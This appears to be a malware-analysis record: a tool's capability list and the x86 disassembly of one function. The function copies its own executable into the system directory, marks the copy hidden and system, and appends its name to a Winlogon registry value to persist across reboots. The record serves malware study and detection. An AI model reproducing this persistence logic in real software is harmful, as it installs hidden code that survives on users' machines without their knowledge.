Function at 0x401030
Capabilities:
Copy file
Delete file
Get common file path
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set file attributes
Set registry value

Disassembly:
sub esp, 0x608
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], bl
push 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x11c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
push 0xff
push ecx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x403094
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x18]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x403010
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x18]
push ebx
lea edx, [esp + 0x11c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x18]
push 0x27
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x219]
mov byte [esp + 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x218]
stosb byte es:[edi], al
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push 0x403088
push 0x403050
push 0x80000002
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 0x400
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
lea edx, [esp + 0x21c]
push 0x403010
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
test eax, eax
jne 0x40122c
mov edi, 0x40304c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x218]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x218]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x403010
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x218]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x218]
push ecx
push eax
push 1
push 0x403088
push 0x403050
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x608
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x608
ret